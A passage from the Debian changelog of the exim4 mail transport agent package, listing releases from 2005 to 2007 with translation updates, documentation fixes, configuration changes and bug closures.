Thanks to Hans G. Ehrbar. Closes: #421860 [ Christian Perrier ] * Debconf translation updates: - French - Ukrainian. Closes: #427793 - Bulgarian. - Thai. - Galician. - Swedish. - Punjabi. - Indonesian. - Italian. - Khmer. - Traditional Chinese. Closes: #428072, #428069. - Portuguese. - Simplified Chinese. - Marathi - Romanian. Closes: #429242 - Russian. Closes: #429352 -- Marc Haber Mon, 18 Jun 2007 10:26:20 +0200 exim4 (4.67-1) unstable; urgency=low [ Marc Haber ] * new upstream version * remove 37_upstream-patch-384015-add_headers * remove 80_disable_rsa_export * remove 80_upstream_408174_4-64-PH18 * EDITME patch changes to allow for 4.67 * enable dovecot authentication * Upstream patch from Magnus Holmgren included upstream. Thanks to Simon Walter. Closes: #407957 * Upstream patch PH/18 included upstream. Thanks to Marc Schiffbauer. Closes: #408174 * merge experimental changes * exim man page patch changes for 4.67 * robustness patches for * create-custom-package * exim-gencert * exim4-base.config * exim4-base.postinst * exim4-config.config * exim4-config.postinst * exim4-daemon-light.postinst * update-exim4defaults * replace backticks with $() notation * Add patch to 50_localscan_dlopen to reduce dynamic symbol table. Thanks to Magnus Holmgren. Closes: #413602 * remove woody compatibility hacks from * exim4-daemon-light.postinst * exim4-config.postinst * Fix eximnext => exinext in man page. * README.Debian: * add warning to "IP addresses for incoming connections" section. * add new chapter about how to influence exim's behavior. * add missing closing bracket. Thanks to Martin Schwarz. Closes: #419700 * update-exim4.conf(8): * clarify update-exim4.conf about how ue4cc and exim configuration interface * remote_smtp_smarthost transport: make hosts_try_auth host list semicolon-separated to correctly handle IPv6 * multiple minor changes to lintian overrides * debian/control: have exim4 depend on debconf (>= 1.4.69) | cdebconf (>= 0.39) explicitly to allow usage of debconf error template type. [ Christian Perrier ] * Esperanto debconf translation update (Serge Leblanc). Closes: #415590 * Marathi debconf translation added (Priti Pathil). Closes: #416801 -- Marc Haber Sat, 21 Apr 2007 11:48:48 +0200 exim4 (4.63-17) unstable; urgency=low * 30_exim4-config_examples: add missing backslash in non-TLS client login authenticator. Thanks to Kai Weber. Closes: #407567 -- Marc Haber Sat, 20 Jan 2007 10:38:16 +0100 exim4 (4.63-16) unstable; urgency=low * Add ta (Tamil) translation of Tirumurti Vasudevan Closes: #406974 * exim4_refresh_gnutls-params: allow EXIM4_SPOOLDIR to be overridden from the environment. Closes: #406989 * Re-work client authenticators to handle passwords containing colons and circumflexes. Thanks to Steaphan Greene. Closes: #406686 * transport/30_exim4-config_remote_smtp_smarthost: feed hosts_try_auth from $host and $host_address, avoiding issues with round-robin DNS setup. Thanks to Celejar and Heiko Schlittermann. Closes: #403583 -- Marc Haber Thu, 18 Jan 2007 21:10:34 +0100 exim4 (4.63-15) unstable; urgency=low * keep config.h from being installed in exim4-base. Thanks to Aaron M. Ucko. Closes: #405824 -- Marc Haber Sat, 6 Jan 2007 22:12:05 +0100 exim4 (4.63-14) unstable; urgency=low * patch LOCAL_SCAN_ABI_VERSION to 1.1 in 50_localscan_dlopen after consulting with Magnus Holmgren. * Fix update-exim4.conf.8 manpage * FILES section is no longer doubled * NAME is no longer multi-line * proper reference to ue4cc in FILES section * Thanks to Angus Mackenzie * debian/rules * allow buildbasepackages and extradaemonpackages to be set from the environment * fix buildbasepackages=no and extradaemonpackages which were broken due to the new -dev binary package * remove "" in various places, this is Make not shell * add optional debugging output for variables that are meant to be set externally * clean now unpatches first, otherwise clean fails because files are first deleted and then non-existing files are unpatched * take config.h from first non-light daemon package built instead of -heavy (we might not be building -heavy but still need -dev) * Thanks to Gerfried Fuchs for actually using these features and finding this bug group. * exim4.init: Now returns 0 when starting and daemon already running, and when stopping and daemon already stopped. This fixes LSB compliance. Thanks to Heiko Schlittermann. Closes: #404182 -- Marc Haber Fri, 5 Jan 2007 16:34:58 +0100 exim4 (4.63-13) unstable; urgency=low * Fix mangled sense in /etc/aliases exim4-config_files(5) man page. Thanks to Angus Mackenzie. * [update-exim4.conf.8] exim4-config_files manpage is in section 5 instead of 8. Thanks to Angus Mackenzie. Closes: #404494 (am) * Clarify /etc/exim4/passwd.client host name lookup to go after the reverse DNS entry in exim4-config_files(5) man page. * Update uk (Ukrainian) translation of debconf templates. Thanks to Eugeniy Meshcheryakov and Yanovych Borys. Closes: #404481 * Update sl (Slovenian) translation of debconf templates. Thanks to Matej Kovacic. Closes: #404481 * merge in experimental changes: * create exim4-dev package for sa-exim and other packages. Closes: #401462 * fix broken usage of DPATCH_WORKDIR (dpatch-edit-patch didn't work with tarballed upstream) * don't use DPATCH_WORKDIR any more * modify patches to apply to build-tree * remove leftover debugging output from debian/patches/00_unpack.dpatch -- Marc Haber Tue, 2 Jan 2007 14:43:59 +0100 exim4 (4.63-12) unstable; urgency=low * exim4-base.postinst: Redirect command -v's stdout to /dev/null * update-exim4.conf: add lots of quoting to increase robustness. Thanks to Paul Slootman. Closes: #403605 * Debconf templates translation updates and new translations: - Esperanto - Norwegian Nynorsk (Håvard Korsvoll). - Punjabi (A.S. Alam). - Malayalam (Praveen A). Closes: #402541 - Italian (typos corrected by Davide Viti). Closes: #403199 - see Last-Translator for rewards) -- Marc Haber Wed, 20 Dec 2006 14:23:57 +0100 exim4 (4.63-11) unstable; urgency=low * Remove patch to spec.txt for pkg-exim4-users, it is included upstream. No idea why this patch even applied correctly. * README.Debian: * Fix wrong pidfile name * Move FAQ to the Wiki * Adapt "Using completely different configuration scheme" to also mention /etc/exim4/exim4.conf. * Move titles in the same line as the section statement, making it easier to work with a code folding editor. * exim4_files(5): fix recommended permissions for passwd[.client]. Thanks to Georg Neis. Closes: #398365 * Remove temporary gnutls parameters file if neither certtool nor openssl are installed. Closes: #399023 * Fix path to gnutls-params file in exim4-base.postinst. Thanks to J.L. Fernandez. Closes: #400794 * Translation updates (see Last-Translator for rewards). - Punjabi (not yet complete) - Hebrew (not yet complete) - Portuguese. Closes: #399242 * merge changes from experimental: * enable sqlite for exim4-daemon-heavy. Thanks to Adrian Phillips. Closes: #398718 * Add Build-Dependency on libsqlite3-dev. Thanks to Frank Lichtenheld. Closes: #398880 * Build-Depends * add po-debconf * add bzip2 * debian/rules: * run debconf-updatepo in clean targets * adapt build system to allow direct building from an upstream tarball * needs tardy at build time on sarge, but not on newer distributions * use dpatch-run for patches instead of locally programmed handling * add lintian overrides: * partially-translated-question exim4/dc_eximconfig_configtype for cy, eo, et, he, mk, nn, pa, pl, sl, tl, uk - translators, move! * possible-debconf-note-abuse config:15 */drec * remove gratuitous exim4-daemon-heavy.postinst (it is symlinked at build time) -- Marc Haber Fri, 1 Dec 2006 11:16:34 +0000 exim4 (4.63-10) unstable; urgency=low * The "praise Osamu Aoki" release. * Translation updates (see Last-Translator for rewards). - Dutch. Closes: #396725 * README.Debian: * Add information about how to obtain reportbug information for mailing list questions. * Point people directly to passwd.client man page instead of the file itself. Thanks to Osamu Aoki. * Re-work the /etc/aliases section. * Improve smarthost description in update-exim4.conf(8) man page. Give examples. Thanks to Osamu Aoki. * include documentation for /etc/aliases in exim4-config_files(5) man page. Symlink to etc-aliases(5). Thanks to Osamu Aoki. Closes: #397042 * Change symlink of exim4-config_files(5) to email-addresses(5) to point to etc-email-addresses(5) for consistency. * Use nwildlsearch to index into passwd.client to allow wildcards here. Thanks to Osamu Aoki. This is another pain relief for #244724. * use printf instead of echo in daily cron job. Thanks to Ming Hua. Closes: #395448 * Add de-uglyfication request to man pages. -- Marc Haber Sun, 5 Nov 2006 10:36:28 +0000 exim4 (4.63-9) unstable; urgency=low * Fix a spelling error in templates: s/adviseable/advisable Thanks to Jens Seidel for spotting it * Translation updates (see Last-Translator for rewards). - Bosnian. Closes: #396592 - Bulgarian. Closes: #396558 - Greek. - Lithuanian. Closes: #396478 - Norwegian Bokmål. Closes: #391768 - Wolof. Closes: #395944 * Have ue4c barf on more lookup types found in more ue4cc fields, courtesy to regexp from hell. -- Marc Haber Thu, 2 Nov 2006 18:07:24 +0000 exim4 (4.63-8) unstable; urgency=low * Translation updates (see Last-Translator for rewards). - Albanian. Closes: #394725 - Arabic - Basque - Catalan - Chinese (Simplified) - Chinese (Traditional) - Croatian - Czech - Dzongkha - Finnish. Closes: #393644 - German - Italian. - Korean. Closes: #394235 - Nepali - Norwegian Bokmal. Closes: #394270 - Portuguese - Romanian - Russian. - Slovak - Turkish * README.Debian * remove wiki references from README.Debian * remove dc_local_delivery FAQ entry since this is now debconfized * Fix typos, replace "documented below" with a direct link. Thanks to Olaf van der Spek. Closes: #394617 * exim4-config.templates * Fixed typo: s/arbitrary/arbitrarily * Extra space removed at the end of a line. Closes: #394569 * Change references to inexistent README.Debian.html and README.Debian, both replaced by README.Debian.gz. Thanks to Eric Schanze for spotting this. * Various English use changes suggested by Jens Seidel. Closes: #394651 * update-exim4.conf: Fix wrong behavior if a debconf list answer already starts with "<". Thanks to Vineet Kumar. Closes: #393843 * conf.d/main/02_exim4-config_options: Use upstream's wording for rfc1413 configuration, fix wrongly commented timeout value. Thanks to Andre Bischoff on IRC. * conf.d/transports/35_exim4-config_address_directory: Add delivery_date_add, streamline other options' syntax. Thanks to Dominic Hargreaves. Closes: #393930 * Remove commented out inetd entries from maintainer scripts, we are not going to support inetd again. * Zap gnutls-params in postinst if old binary format is detected. Exim cannot read that file any more since RSA_EXPORT has been removed. Always kill the file if file(1) is not present, recommend file(1). Thanks to John Goerzen. Closes: #394598 -- Marc Haber Mon, 23 Oct 2006 20:49:46 +0200 exim4 (4.63-7) unstable; urgency=low * Translation updates (see Last-Translator for rewards). Closes: #391768 - Brazilian Portuguese - Danish. Closes: #392548 - Galician - Hungarian - Indonesian - Japanese - Spanish - Thai * Do not ask for local delivery method if custom entry (i.e. neither maildir_home nor mail_spool) has bin set in update-exim4.conf and continue to use this custom setting instead of overwriting it with mail_spool. (am) Closes: #392993 * Special-case "dsearch;" constructs in dc_other_hostnames, no longer supported. Adapt documentation accordingly. * Adapt docs and man pages so that they do not longer suggest that answers to debconf questions might use all exim host/address/domain list features. * fix ue4c to handle more than one smarthost correctly. * Handle spaces, commas and semicolons as separator in root alias handling. * Wolof translation contained a comma in the translation of a element of the Choices list for the dc_eximconfig_configtype question, replace it with a semicolon. (am) -- Marc Haber Sat, 14 Oct 2006 23:45:17 +0000 exim4 (4.63-6) unstable; urgency=low * s/ipv6/IPv6 in templates (general writing consistency) * Translation updates (see Last-Translator for rewards) - Arabic (partial) - Basque (partial) - Croatian (partial) - Greek (partial) - Khmer - Spanish (partial) - Swedish - Vietnamese. Closes: #392772 * README.Debian: * Fine tuning of SMTP AUTH and TLS docs after user feedback received over $BEVERAGE irl. * Adapt configuration chapter to re-worded templates. * Fix exim4_files man page names to not pollute name space. * Clarify exim4-config_files man page to reflect that the host name given there does not actually influence the routing decision. Thanks to Sven Luther. * Fix list separator handling for dc_other_hostnames in ue4c. Thanks to Alexandre Fayolle. Closes: #392831 -- Marc Haber Sat, 14 Oct 2006 07:40:05 +0000 exim4 (4.63-5) unstable; urgency=low * define MAIN_LOG_SELECTOR conditionally. Thanks to Aaron M. Ucko. Closes: #390758 * Fix typos in man pages. Thanks to A. Costa. Closes: #390705, #390706, #390707 * Address #373786: * cron.daily: Try UID change with start-stop-daemon, and fall back to su if that fails. This should enhance compatibility with libpam-tmpdir. * exim4_refresh_gnutls-params: don't drop privileges any more, generate gnutls-params as root and chown them later. * Thanks to Piotr Kaczuba and Tollef Fog Heen. Closes: #373786 * Add debugging facility to exim4_refresh_gnutls-params * Debconf-Rework * update-exim4.conf: expand UE4CC_semicolon list to allow semicolons in all debconf questions as list separators for consistency. * Do template changes suggested by Christian Perrier. Closes: #260141 * new mail name template thanks to Jari Aalto. Closes: #275953 * relay templates changes thanks to Ross Boylan. Closes: #342061 * remove conftype exim3manual. Closes: #355265 * use semicolon as list separator in debconf templates. ue4.conf handles both semicolons and colons since #360162. Thanks to Adam Borowski. Closes: #365428 * Make existing templates style-compatible regarding developer's reference. * Lower priorities so that the Installer can do its work without exim4 asking questions. Closes: #379485 * Modify templates saying that smarthost::port is a valid notation. Modify transport/30_exim4-config_remote_smtp_smarthost to take only the first part of DCsmarthost (up to first colon) as host name for hosts_try_auth. This allows debconf configuration of a different port to connect to the smarthost. Closes: #251949 * Add debconf template to packages telling people to dpkg-reconfigure exim4-config. * Allow choosing between delivery to /var/mail or ~/Maildir with debconf. (am) Closes: #250980, #274560, #289959 * Translation updates (see Last-Translator for rewards) - Brazilian Portuguese - Danish - Galician - Slovak - Thai - Turkish - Romanian - Japanese - French * Patch by Florian Weimer which disables RSA_EXPORT support which should eliminate the "exim blocking on entropy starvation" issue. * update-exim4.conf: Take only the first word from /etc/mailname as system mail name. Thanks to Mike Mestnik. Closes: #215319. * init script: log_failure_message alert if non-zero paniclog is found. Thanks to Andreas Barth. * README.Debian: document cron job, including paniclog monitoring. Thanks to Stephen Gran. -- Marc Haber Tue, 10 Oct 2006 16:50:27 +0000 exim4 (4.63-4) unstable; urgency=low * Make update-exim4.conf man page also update-exim4.conf.conf man page. * Fix SPF error message when $sender_address_domain is undefined (i.e. sender is <>). (rm) * Change debian/rules documentation for daemon-custom build. Thanks to Guido Hennecke. Closes: #386135 * Rotate paniclog by size, not daily, to avoid rotating away messages after complaining from the daily cron job. Thanks to Dirk Meyer. * Update Slovak translation. Thanks to Peter Mann. * Add Wolof translation. Thanks to M Mamoune Mbacke * Add a paragraph explaning the gnutls-bin suggestion to ease DH parameter generation in case of entropy starvation. Thanks to Andi Barth and Florian Weimer. * Since a new version of sysvinit upload will move /var/run/ to a tmpfs directories under /var/run/ and their permissions are not persistent anymore but will be lost after a reboot. - Re-generate /var/run/exim4 in the init script to compensate for this. (am) (closes: #387699) * update-exim4.conf: Exit with an error if dc_use_split_config is neither true nor false instead of replacing the configuration with an empty one. (am) Closes: #386554 * More intelligence for exim4_refresh_gnutls-params: * If certtool (from gnutls-bin) is unavailable but openssl is installed use openssl to re-generate DH params. (am) * Change exim4-base Suggests on gnutls-bin to gnutls-bin|openssl. (am) * Move invocation and background mechanism to exim4_refresh_gnutls-params. Script can now be called any time from the command line or any other script. * Only regenerate dh params if tls_advertise_hosts is non empty. According to Florian Weimer, DH params are only needed for incoming TLS connections. * Thanks, Yuri D'Elia. This addresses #387448 * Improve entropy and gnutls-params docs. * cron-daily: * Invoke exim4_refresh_gnutls-params unconditionally. * Send out e-mail alert if gnutls-params is older than 14 days. * rename config varables to E4BCD_, source /etc/default/exim4 * introduce a E4BCD_PANICLOG_NOISE variable containing a regexp. Paniclog is negatively filtered against that regexp and paniclog warning is only sent out if unfiltered lines remain. This is to allow work around http://www.exim.org/bugzilla/show_bug.cgi?id=92 * Prepare hosts_avoid_tls statement on SMTP transports * Macroize log_selector, remove +tls_cipher from examples (it is on by default) and always set tls_peerdn (we use TLS by default for outgoing connections). Make it easier to enable debug logging. * Mention in the comments of the default RCPT ACL that verification is likely to have false negatives in smarthost/satellite setups. This is the easiest way to fix #388460; the "real" fix would be very very complicated and thus unsuitable for the default configuration. Closes: #388460 * README.Debian: * Re-Work "misc" section to contain subsection. Fix minor formatting issues. * Add a section about SELinux to the misc subsection saying that we currently do not have an SELinux policy but would appreciate people helping here. This is already bug #387327 and #390179. -- Marc Haber Sun, 1 Oct 2006 14:37:53 +0000 exim4 (4.63-3) unstable; urgency=low * Have exim4-config conflict with exim4-daemon-* << 4.63. Thanks to Yannick Roehlly. Closes: #383420, #384058 * Tweak NEWS.Debian formatting. Remove asterisks and make sure that contents lines start with four spaces. * exim4-config.NEWS: A pair of minor fixes in SPF entry. (rm) Closes: #383708 * Apply upstream fix allowing header names with an odd number of characters in add_headers in filters. Thanks to Tony Finch. Closes: #384015 * Add documentation for inaccessible home directories. Thanks to Juha Jäykkä. Closes: #383469 -- Marc Haber Wed, 23 Aug 2006 17:16:38 +0000 exim4 (4.63-2) unstable; urgency=low * upload to unstable -- Marc Haber Tue, 15 Aug 2006 20:35:55 +0000 exim4 (4.63-1) experimental; urgency=low * New upstream version 4.63 + Change PostgreSQL charset handling. Closes: #369351 + Recognize SMTP codes at the start of "message" in ACLs and after :fail: and :defer: in a redirect router. Add forbid_smtp_code to suppress the latter. forbid_smtp_code is enabled in Debian's default config. Closes: #378131 * Adapt configuration to current upstream + re-work RCPT ACL. Closes: #379155 + add new comments to default authenticators + use $auth[123] instead of $[123] which are now deprecated + forbid_smtp_code on userforward router * Add missing dependency on lsb-base (>= 3.0-3), needed for the new init-script shipped in exim4-base. (am) -- Marc Haber Tue, 1 Aug 2006 10:47:44 +0000 exim4 (4.62-5) unstable; urgency=low * Fix typo in exim4-base daily cron job. Thanks to Salvatore Bonaccorso. Closes: #381048 * Fix language issues in package descriptions -- Marc Haber Tue, 8 Aug 2006 15:02:14 +0200 exim4 (4.62-4) unstable; urgency=low * Add missing dependency on lsb-base (>= 3.0-3), needed for the new init-script shipped in exim4-base. (am) -- Marc Haber Tue, 1 Aug 2006 11:03:57 +0000 exim4 (4.62-3) unstable; urgency=low * remove pkg-exim4-user mail address from README.Debian, mention that one needs to be subscribed to post. Thanks to Ross Boylan. Closes: #368242 * re-word -o description in update-exim4.conf(8) man page. Thanks to Ross Boylan. * Flag update-exim4.conf(8) man page for a re-work in its BUGS section. * Give a - hopefully - better explanation of the mail name thingy in README.Debian. * Fix occurrences of default_acl file in documentation. Make part of README.Debian less confusing. Thanks to Ross Boylan. Closes: #376459 * When installing via apt using dpkg-preconfigure the value of dc_hide_mailname was overwritten during the second run of the debconf script (invoked by postinst), before the value was stored in the configuration file. Fix this. (am) Closes: #376460 * Make spamassassin example in 40_exim4_config_check_data actually work, add link to documentation for "really suiteable" configuration examples. Thanks, again, to Ross Boylan. * remove left-over "and a bunch" sentence from exim4-config_files.5 * Add a symlink from /etc/email-addresses to /etc/exim4/email-addresses * Fix bad parsing of CHECK_RCPT_DOMAIN_DNSBLS. Thanks to Robert Millan. Closes: #378581 * Note in README.Debian that other parts of the Debian system might give outdated and/or wrong advice. See #378684, #378685. * SPF support: (rm) Closes: #290464 * Add (disabled) template to check SPF in 30_exim4-config_check_rcpt. * Add libmail-spf-query-perl (>= 1.999-1) to Suggests. * Rewrite Q/A about SPF from README.Debian. * Add a small note to exim4-config.NEWS. * Add conf.d/acl/30_exim4-config_check_mail to reject mail without HELO/EHLO. (rm) Closes: #378935 * Add LSBized init script. Thanks to Carlos Villegas. Closes: #376953 * re-order RCPT ACL statements to resemble Upstreams default config a little more. This used to be the case in the beginning, but was changed eventually, and I didn't find any rationale for our deviation. Thus, we change back to upstream's default to see which things might break. * remove cron.d from exim4-base dirs - we do not have a cron.d job any more for years. * Re-work daily cron job: * Make statistics configurable with a variable * Comment that the log handling code is fragile and depending on log rotation strategy * Add code to generate warnings if paniclog non-empty. Thanks to Andrew Ferrier. Closes: #379898 * Build -dbg packages. * Updated vi (vietnamese) translation. Thanks to Clytie Siddall. (am) Closes: #380357 -- Marc Haber Mon, 31 Jul 2006 06:10:51 +0000 exim4 (4.62-2) unstable; urgency=low * Move explanation about using ";" as separator in lists from debian/NEWS to debian/exim4-config.NEWS. (The former ends up as /usr/share/doc/eximon4/NEWS.Debian.gz.) Also fix version-number of entry. (am) * have ue4.conf --verbose print split or non-split config. Thanks to Florian Laws. (mh) * Mention http://pkg-exim4.alioth.debian.org/ in package description. Thanks to Florian Laws. (mh) * Mention in package description that README.Debian has information about how to configure the Debian packages. * /etc/init.d/exim4: parse extended inetd.conf syntax from openbsd-inetd. (mh) Closes: #365928 * New th (thai) translation. Thanks to Theppitak Karoonboonyanan. (mh) Closes: #367351 * New dz (Dzongkha) translation. Thanks to Pema Geyleg. (am) Closes: #368593 * New ne (Nepali) translation. Thanks to Paras pradhan. (am) Closes: #369526 * New eo (Esperanto) translation. Thanks to Serge Leblanc. (am) Closes: #369241 * Updated hu (hungarian) translation. Thanks to Attila Szervac. (am) Closes: #374616 * Make documentation of CHECK_RCPT_LOCAL_LOCALPARTS and CHECK_RCPT_REMOTE_LOCALPARTS more verbose and concentrate it in the ACL file. Thanks to Klaus Muth. (mh) Closes: #366491 * README.Debian.xml (mh) * Add new section documenting where to find documentation. * Move misplaced sentence. * Fix spelling errors in README.Debian. Thanks to Salvatore Bonaccorso. Closes: #366003 Thanks to Ross Boylan. Closes: #374216 * remove "you can stop reading now" sentence. Thanks to David Lawyer. Closes: #370790 * Mention Debian-specific man pages * Give instructions about how to use apropos to find out about man pages. * Documentation changes inspired by Ross Boylan. Closes: #369126 * Add exim4-config_files(5) man page to aid as repository for file explanations. * /etc/email-addresses * /etc/exim4/local_host_blacklist * /etc/exim4/local_host_whitelist * /etc/exim4/local_sender_blacklist * /etc/exim4/local_sender_whitelist * /etc/exim4/local_sender_callout * /etc/exim4/local_rcpt_callout * /etc/exim4/local_domain_dnsbl_whitelist * /etc/exim4/hubbed_hosts * /etc/exim4/passwd * /etc/exim4/passwd.client * /etc/exim4/exim.crt * /etc/exim4/exim.key If you find any files that might be missing in the man page, please report a bug. * mention exim4-config_files(5) in update-exim4.conf.8 * Explicitly mention README.Debian in exim man page. * Remove /usr/share/doc/exim4-config/default_acl, move contents to README.Debian and exim4-config_files. * remove empty /usr/share/doc/exim4-config/examples. * clarify docs in RCPT ACL. * streamline docs: * hubbed_hosts router. * passwd.client. * server side authentication examples * Standard-Version: 3.7.2, no changes necessary. -- Marc Haber Sat, 24 Jun 2006 08:56:19 +0000 exim4 (4.62-1) unstable; urgency=low * New upstream version * remove !acl patch, bug is fixed upstream * Some minor changes to README.Debian * Downgrade priority of exim4/dc_eximconfig_configtype, exim4/no_config and exim4/exim3_upgrade from critical to high, as there is a sane default. Closes: #342077 * Allow single quotes in recipient mail addresses. Closes: #346222 * Update debian/mtalist to conflict with hula-mta. (mh) * Move back man-pages (actually they are symlinks) related to the mail-transport-agent virtual package from exim4-base to the daemon packages. Other MTA packages also include these manpages and would otherwise need to explicitly conflict with exim4-base. Add "Replaces: exim4-base (<= 4.61-1)" to the daemon packages. Thanks to Justin Pryzby. Closes: #362852 (am) * Update km (Khmer) translation. Thanks to Khoem Sokhem. (mh) Closes: #363672, #363671 * Update pa (Punjabi) translation. Thanks to A S Alam. (am) Closes: #364268 * replace backticks with $() construct in ue4.conf. (mh) * Allow ";" as separator in dc_local_interfaces and dc_relay_nets. If a semicolon is found, "<;" is prepended to allow a semicolon as separator. Thanks to Adam Borowski. (mh) Closes: #360162 * Link against libdb4.3 instead of 4.2. (am). Closes: #365467 * Standards-Version: 3.7.0, no changes required. (am) * README.Debian: Add link to "how to use a completely different configuration scheme" to the beginning of the chapter about Debian's configuration to provide an easy way out for experienced exim people. (mh) * Fix grammar error in README.Debian. (Thanks, Ross Boylan) Closes: #365546 * Whennever changing major Berkeley DB versions we zap the exim hint databases in exim4-base postinst. Change the code to also delete __db.retry, __db.misc, __db.callout and __db.wait* (which afaik are Berkeley DB internal files). If these are somehow broken strange errors occur, e.g. #360696. As we are deleting the whole db, deleting these files seems to be a good idea. (am) -- Marc Haber Tue, 2 May 2006 11:47:58 +0000 exim4 (4.61-1) unstable; urgency=low * New upstream version - Temporary files for content scanning subdirectory are now also mode 640 instead of 666. Closes: #280282 - If group was specified without a user on a router, and no group or user was specified on a transport, the group from the router was ignored. Closes: #343074 - .include statements now require an absolute path. Closes: #268083 * Apply upstream patch allowing !acl constructs (http://www.exim.org/mail-archives/exim-cvs/2006-April/msg00008.html) * Rename the Punjabi translation file name from pa_IN to pa to fit a decision taken in -i18n * README.Debian: * mention that relay_nets does allow relaying without authentication. * minor formatting fixes * Add Khmer debconf translation (Thanks, Kakada Hok) (bubulle) Closes: #359668 * Add linda overrides for libs-not-in-depends (see #357727) -- Marc Haber Tue, 4 Apr 2006 19:50:39 +0000 exim4 (4.60-5) unstable; urgency=low * re-introduce inst_aliases, patch src/install_exim to prevent path to inst_aliases to be put into example config file. (mh) * Fix typo in README.Debian.xml, thanks to Frank S. Thomas. (mh) * Fix Copy&Waste error in README.Debian.xml. Thanks to Olaf van der Spek. (mh) Closes: #356354 * Added partial Punjabi debconf translation, thanks to Amanpreet Singh Alam. (cp) Closes: #349644 * Fix wrong example in conf.d/acl/20_exim4-config_whitelist_local_deny. Thanks to Kaare Hviid for pointing this out on IRC. (mh) * Add documentation about Debconf templates to README.Debian to make yath happy. (mh) * exim4-refresh_gnutls-params: Use prefix for tempfile to make it easier recognizeable. (mh) -- Marc Haber Mon, 13 Mar 2006 15:30:07 +0000 exim4 (4.60-4) unstable; urgency=low * add rationale to README.Debian explaining why using system passwords for SMTP AUTH is a bad idea. * streamline configuration to decrease differences to upstream default example, and to adopt new things that were added since we last looked there. * Do not set inst_aliases for installation, this only affects example.conf anyway. * fail build if upstream's example configuration has changed. * fix NEWS confusion. Thanks to Andreas for spotting this. * exim4-base.exim4.init: invoke exim4 daemon with the environment cleaned to avoid language confusion. * document tls on connect in README.Debian. * use adduser --quiet instead of > /dev/null in *.postinst. * Add require_files directive to userforward router to avoid errors when mailing uucp@hostname. * Add comment about setting up TLS in conf.d/auth/30_exim4-config_examples to keep people from blindly allowing cleartext auth. * Replace 37_dns_disable_additional_section patch with 37_upstream_patch_342619, which is the nearly identical patch from upstream CVS, approved by Philip. (mh) Closes: #342619 -- Marc Haber Wed, 22 Feb 2006 10:30:16 +0000 exim4 (4.60-3) unstable; urgency=low * Have exim4-base replace exim4-daemon-light and -heavy. This is a needed corollary to the movement of the man pages to -base. Let's hope that this change doesn't introduce too much breakage. Thanks to Hamish Moffatt for making me take a closer look at policy. (mh) Closes: #347908, #348067 * Introduce Makefile variable to build with OpenSSL instead of GnuTLS. This is a last minute maneuver to help sites suffering from the GnuTLS entropy issue (#338319, #343085) whose only other chance is disabling TLS completely. Please note that building exim4-daemon-heavy with OpenSSL is a GPL violation since OpenSSL's license clashes with the MySQL client library, which is GPL licensed without OpenSSL exception. (mh) * re-pack configuration diffs. (mh) Closes: #331698 * Fix wrong variable substitution in lt (Lithuanian) debconf translation. Thanks to Davide Viti and Gintautas Miliauskas. (mh) Closes: #342242 * Fix typo in exim.8 man page. Thanks to A Costa. (mh) Closes: #338579 * Honor dpkg-statoverride entries for run-time data in /var. Thanks to Peter Mottram. (mh) Closes: #269448 -- Marc Haber Sun, 15 Jan 2006 00:23:47 +0000 exim4 (4.60-2) unstable; urgency=low * Add, but not enable, 37_dns_disable_additional_section.dpatch, which might be a possible fix for #342619 * conf.d/auth/30_exim4-config_examples: add hint to adapt public_name string in support_broken_outlook_express_4_server authenticator if other authencators than LOGIN and PLAIN are offered. * Fix missing special characters in some debconf translations. Thanks to Davide Viti. (mh) Closes: #341442 * Fix broken README reference in system_aliases router docs. (mh) * remove references to alias files from the address_pipe transport. (mh) * remove "Some-State" default from exim-gencert. (mh) * Clarify split vs unsplit config in README.Debian. Thanks to Faheem Mitha and Ross Boylan for helping. (mh) * Update Build-Depends to libmysqlclient15-dev. (mh) Closes: #343767 * Fix wrong header in conf.d/routers/300_exim4-config_real_local. Thanks to Ross Boylan for spotting this. (mh) * Document headers_rewrite, return_path and dc_mailname_in_oh in update-exim4.conf man page. (mh) Closes: #332520, #342233 * Re-Instate debian/patches/31_eximmanpage which was erroneously removed in 4.60-1, we have local Debian patches in here. Thanks to Ross Boylan for spotting this. (mh) Closes: #330967 * Mention relay permission from localhost in update-exim4.conf(8). (mh) * Add more prose to relay control configuration. (mh) * Update Greek debconf translation (Thanks, Kostas Papadimas) (am) Closes: #344576 * Add cross-reference to README.Debian to better find macro docs. Thanks to Shyamal Prasad. (mh) Closes: #329988 * Fix incorrect variable substitution in pt_BR debconf translation. (Thanks, Felipe Augusto van de Wiel) (am) Closes: #345363 * [exim4-config.templates, po/*po] Replace reference to README.SMTP-AUTH with one to its replacement README.Debian.html. (am) Closes: #344826 * Re-work long package descriptions. Move reference to README.Debian in front, add hint to dpkg-reconfigure exim4-config, complete stub sentences, remove non-referenced acronym MTA from the long descriptions, move explanation what exim is to the very front. * README.Debian: Add section about changing the configuration, explain structure of conf.d and .conf.template, add hint that the SMTP AUTH examples are documented. * Introduce MAIN_TLS_CERTKEY to allow for single-file certificate/key storage. Thanks to John Goerzen. (mh) Closes: #315126 * Mention entropy issue in README.Debian. * Ship symlink to /usr/sbin/exim, see NEWS.Debian. (mh) Closes: 319316 * use dh_installinit -n instead of --noscripts to work around #347577. (mh) * use dh_installinit --name instead of --init-script, rename init script. (mh) * move man pages from daemon packages to exim4-base, add lintian and linda overrides to allow daemon packages not to contain man pages. -- Marc Haber Thu, 12 Jan 2006 12:36:50 +0000 exim4 (4.60-1) unstable; urgency=low * new upstream version 4.60 * assign value to UE4CC after command line processing. Only have ue4c throw an error on not-existing UPEX4C_confd if split config is seleted. Thanks to Ted Percival. (mh) Closes: #337229 * A number of man page fixes. Thanks to A Costa. (mh) Closes: #338580, #338581, #338582, #338583, #338584 * Pull spool dir path from exim -bP instead of hard-coding it in daily cron job and exim4_refresh_gnutls-params. Thanks to Alex Hermann. (mh) Closes: 340002 * Corrected zh_CN translation by Ming Hua. (am) Closes: #338928 * Corrected pl translation by Jacek Politowski. (am) Closes: #339671 * Change README.Debian to clarify the exim as a client only uses STARTTLS and not TLS on connect. Thanks to Rob Brenart and Marc Sherman for pointing that out on exim-users. * Clarify passwd.client format. Thanks to Osamu Aoki for providing a good starting point in #244724, which is unfortunately not fixed just now. * remove patch 31_eximmanpage, fixes are included upstream. -- Marc Haber Mon, 28 Nov 2005 18:16:12 +0000 exim4 (4.54-2) unstable; urgency=low * debian/README.Debian* merged into one xml-file. Binary packages ship both a html (generated by xsltproc) and plain-text version (lynx + post processing) of the file. (Hilko Bengen) * Switch to libmysqlclient14. * Fix two typos in French debconf templates. Thanks to Christian Perrier. (mh) * Replace broken courier auth example with one that actually denies access if a wrong password is given. Thanks to Peter Thomassen for carrying that report from some colorful web 